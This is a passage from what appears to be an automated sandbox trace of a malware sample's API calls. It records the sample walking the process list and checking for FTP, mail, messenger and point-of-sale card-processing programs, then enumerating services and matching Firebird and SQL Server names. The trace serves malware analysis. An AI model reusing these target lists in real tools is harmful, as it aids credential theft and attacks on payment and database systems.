(lpString="popularity_segments_sell.exe") returned 28 [0032.249] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0032.250] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0032.250] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0032.250] lstrlenW (lpString="artist_selecting.exe") returned 20 [0032.250] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0032.251] lstrlenW (lpString="poems.exe") returned 9 [0032.251] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0032.251] lstrlenW (lpString="bow.exe") returned 7 [0032.251] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0032.251] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0032.251] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0032.252] lstrlenW (lpString="businesses.exe") returned 14 [0032.252] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0032.252] lstrlenW (lpString="lucky.exe") returned 9 [0032.252] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0032.252] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0032.253] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0032.253] lstrlenW (lpString="healthmanner.exe") returned 16 [0032.253] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0032.253] lstrlenW (lpString="3dftp.exe") returned 9 [0032.253] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0032.254] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0032.254] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0032.254] lstrlenW (lpString="alftp.exe") returned 9 [0032.254] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0032.254] lstrlenW (lpString="barca.exe") returned 9 [0032.254] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0032.255] lstrlenW (lpString="bitkinex.exe") returned 12 [0032.255] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0032.255] lstrlenW (lpString="coreftp.exe") returned 11 [0032.255] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0032.255] lstrlenW (lpString="far.exe") returned 7 [0032.255] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0032.256] lstrlenW (lpString="filezilla.exe") returned 13 [0032.256] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0032.256] lstrlenW (lpString="flashfxp.exe") returned 12 [0032.256] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0032.256] lstrlenW (lpString="fling.exe") returned 9 [0032.256] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0032.257] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0032.257] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0032.257] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0032.257] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0032.258] lstrlenW (lpString="icq.exe") returned 7 [0032.258] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0032.258] lstrlenW (lpString="leechftp.exe") returned 12 [0032.258] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0032.258] lstrlenW (lpString="ncftp.exe") returned 9 [0032.258] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0032.259] lstrlenW (lpString="notepad.exe") returned 11 [0032.259] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0032.260] lstrlenW (lpString="operamail.exe") returned 13 [0032.260] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0032.260] lstrlenW (lpString="pidgin.exe") returned 10 [0032.260] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0032.261] lstrlenW (lpString="scriptftp.exe") returned 13 [0032.261] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0032.261] lstrlenW (lpString="skype.exe") returned 9 [0032.261] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0032.262] lstrlenW (lpString="smartftp.exe") returned 12 [0032.262] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0032.262] lstrlenW (lpString="thunderbird.exe") returned 15 [0032.262] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0032.263] lstrlenW (lpString="totalcmd.exe") returned 12 [0032.263] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0032.263] lstrlenW (lpString="trillian.exe") returned 12 [0032.263] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0032.264] lstrlenW (lpString="webdrive.exe") returned 12 [0032.264] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0032.264] lstrlenW (lpString="whatsapp.exe") returned 12 [0032.265] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0032.265] lstrlenW (lpString="winscp.exe") returned 10 [0032.265] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0032.266] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0032.266] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0032.266] lstrlenW (lpString="active-charge.exe") returned 17 [0032.266] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0032.267] lstrlenW (lpString="accupos.exe") returned 11 [0032.267] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0032.281] lstrlenW (lpString="afr38.exe") returned 9 [0032.281] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0032.919] lstrlenW (lpString="aldelo.exe") returned 10 [0032.919] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0032.919] lstrlenW (lpString="ccv_server.exe") returned 14 [0032.919] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0032.920] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0032.920] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0032.920] lstrlenW (lpString="creditservice.exe") returned 17 [0032.920] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0032.921] lstrlenW (lpString="edcsvr.exe") returned 10 [0032.921] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0032.921] lstrlenW (lpString="fpos.exe") returned 8 [0032.922] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0032.922] lstrlenW (lpString="isspos.exe") returned 10 [0032.922] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0032.923] lstrlenW (lpString="mxslipstream.exe") returned 16 [0032.923] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0032.923] lstrlenW (lpString="omnipos.exe") returned 11 [0032.923] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0032.924] lstrlenW (lpString="spcwin.exe") returned 10 [0032.924] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0032.924] lstrlenW (lpString="spgagentservice.exe") returned 19 [0032.924] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0032.925] lstrlenW (lpString="utg2.exe") returned 8 [0032.925] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0032.925] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0032.925] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0032.926] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0032.926] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0032.926] lstrlenW (lpString="notebook.exe") returned 12 [0032.926] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0032.927] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0032.927] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0032.927] lstrlenW (lpString="current.exe") returned 11 [0032.927] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0032.927] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0032.927] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0032.928] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0032.928] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0032.928] lstrlenW (lpString="taskhost.exe") returned 12 [0032.928] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0032.929] lstrlenW (lpString="dllhost.exe") returned 11 [0032.929] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0032.929] lstrlenW (lpString="dllhost.exe") returned 11 [0032.929] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0032.930] lstrlenW (lpString="payload.exe") returned 11 [0032.930] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0032.930] lstrlenW (lpString="cmd.exe") returned 7 [0032.930] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0032.930] CloseHandle (hObject=0x118) returned 1 [0032.930] Sleep (dwMilliseconds=0x1f4) [0034.665] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ffaa0 [0034.665] EnumServicesStatusExW (in: hSCManager=0x8ffaa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0034.665] GetLastError () returned 0xea [0034.665] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x3ef3078 [0034.665] EnumServicesStatusExW (in: hSCManager=0x8ffaa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ef3078, cbBufSize=0x11e4, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ef3078, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0034.666] CloseServiceHandle (hSCObject=0x8ffaa0) returned 1 [0034.666] lstrlenW (lpString="Appinfo") returned 7 [0034.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0034.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0034.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0034.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0034.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0034.666] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0034.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.666] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0034.666] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0034.666] lstrcmpiW 